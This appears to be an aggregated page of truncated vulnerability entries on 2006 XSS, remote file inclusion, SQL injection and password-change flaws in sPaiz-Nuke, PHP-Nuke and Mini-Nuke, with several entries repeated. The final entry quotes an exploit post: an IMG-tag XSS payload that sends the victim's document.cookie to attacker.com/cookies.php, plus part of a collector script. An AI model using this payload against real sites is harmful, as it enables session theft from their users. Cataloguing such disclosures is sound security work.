CVE-2006-0480

Technical details for CVE-2006-0480 are not publicly available in the provided documents. Monitor for updates.

CVE-2006-0480

Cross-site scripting XSS vulnerability in the Articles module in sPaiz-Nuke allows remote attackers to inject arbitrary web script or HTML via the query parameter in the search file...

[SA18672] sPaiz-Nuke "query" Cross-Site Scripting Vulnerability

TITLE: sPaiz-Nuke "query" Cross-Site Scripting Vulnerability SECUNIA ADVISORY ID: SA18672 VERIFY ADVISORY: http://secunia.com/advisories/18672/ CRITICAL: Less critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: sPaiz-Nuke http://secunia.com/product/7180/ DESCRIPTION: NightWarrior h...

sPaiz-Nuke Cross-Site Scripting Vulnerability

NightWarriorKurdish Hacker nightwarrior771athotmail.com sPaiz-Nuke Cross-Site Scripting Vulnerability http://www.alstrasoft.com http://www.example.com/sPaiz-Nuke/modules.php?name=Articles&file=search&query=XSS&type=articles&type=comments...

sPaiz-Nuke - modules.php Cross-Site Scripting

sPaiz-Nuke - modules.php Cross-Site Scripting source: https://www.securityfocus.com/bid/16412/info sPaiz-Nuke is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have...

sPaiz-Nuke - 'modules.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/16412/info sPaiz-Nuke is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code executed in the browser o...

CVE-2006-0308

PHP remote file inclusion vulnerability in htmltonuke.php in the htmltonuke 2.0 alpha, and possibly other versions, module for PHP-Nuke allows remote attackers to execute arbitrary PHP code via a URL in the filnavn parameter...

CVE-2006-0308

CVE-2006-0308 affects the htmltonuke.php module for PHP-Nuke (htmltonuke 2.0 alpha and possibly other versions). The vulnerability is a PHP remote file inclusion in the filnavn parameter, enabling remote attackers to execute arbitrary PHP code. Root cause: improper handling of URLs/filenames in t...

CVE-2006-0308

PHP remote file inclusion vulnerability in htmltonuke.php in the htmltonuke 2.0 alpha, and possibly other versions, module for PHP-Nuke allows remote attackers to execute arbitrary PHP code via a URL in the filnavn parameter...

Default credentials

membership.asp in Mini-Nuke CMS System 1.8.2 and earlier does not verify the old password when changing a password, which allows remote attackers to change the passwords of other members via a lostpassnew action with a modified x parameter...

Sql injection

SQL injection vulnerability in news.asp in Mini-Nuke CMS System 1.8.2 and earlier allows remote attackers to execute arbitrary SQL commands via the hid parameter...

CVE-2006-0199

CVE-2006-0199 describes a SQL injection vulnerability in the Mini-Nuke CMS System up to version 1.8.2, exploitable via the hid parameter in news.asp. The issue allows remote attackers to execute arbitrary SQL commands. The available connected documents confirm the affected component and the injec...

CVE-2006-0199

SQL injection vulnerability in news.asp in Mini-Nuke CMS System 1.8.2 and earlier allows remote attackers to execute arbitrary SQL commands via the hid parameter...

CVE-2006-0203

The CVE-2006-0203 entry affects Mini-Nuke CMS System 1.8.2 and earlier. The vulnerability arises because membership.asp does not verify the old password when a user changes their password, enabling remote attackers to alter other members’ passwords by abusing a lostpassnew action with a modified ...

CVE-2006-0185

Multiple cross-site scripting vulnerabilities in the 1 Pool or 2 News Modules in Php-Nuke allow remote attackers to inject arbitrary web script or HTML via javascript in the SRC attribute of an IMG tag...

CVE-2006-0185

Php-Nuke is affected by multiple cross-site scripting in the (1) Pool and (2) News Modules, allowing remote attackers to inject arbitrary scripts via javascript in the SRC attribute of an IMG tag. The root cause is unsanitized input in image tags enabling script execution. Impact is web-page defa...

CVE-2006-0185

Multiple cross-site scripting vulnerabilities in the 1 Pool or 2 News Modules in Php-Nuke allow remote attackers to inject arbitrary web script or HTML via javascript in the SRC attribute of an IMG tag...

Cross site scripting

Multiple cross-site scripting vulnerabilities in the 1 Pool or 2 News Modules in Php-Nuke allow remote attackers to inject arbitrary web script or HTML via javascript in the SRC attribute of an IMG tag...

[SA18374] PHP-Nuke News "Story Text" Script Insertion Vulnerability

TITLE: PHP-Nuke News "Story Text" Script Insertion Vulnerability SECUNIA ADVISORY ID: SA18374 VERIFY ADVISORY: http://secunia.com/advisories/18374/ CRITICAL: Moderately critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: PHP-Nuke 7.x http://secunia.com/product/2385/ DESCRIPTION:...

Php-Nuke Pool and News Module IMG Tag Cross Site

NightWarriorKurdihs Hacker nightwarrior771athotmail.com Php-Nuke Pool and News Module IMG Tag Cross Site Scripting Contact :nightwarrior771athotmail.com Post Coment this Code: img src="javascript:window.navigate'http://attacker.com/cookies.php?c='+document.cookie;" cookies.php $cookie = $GET'c';...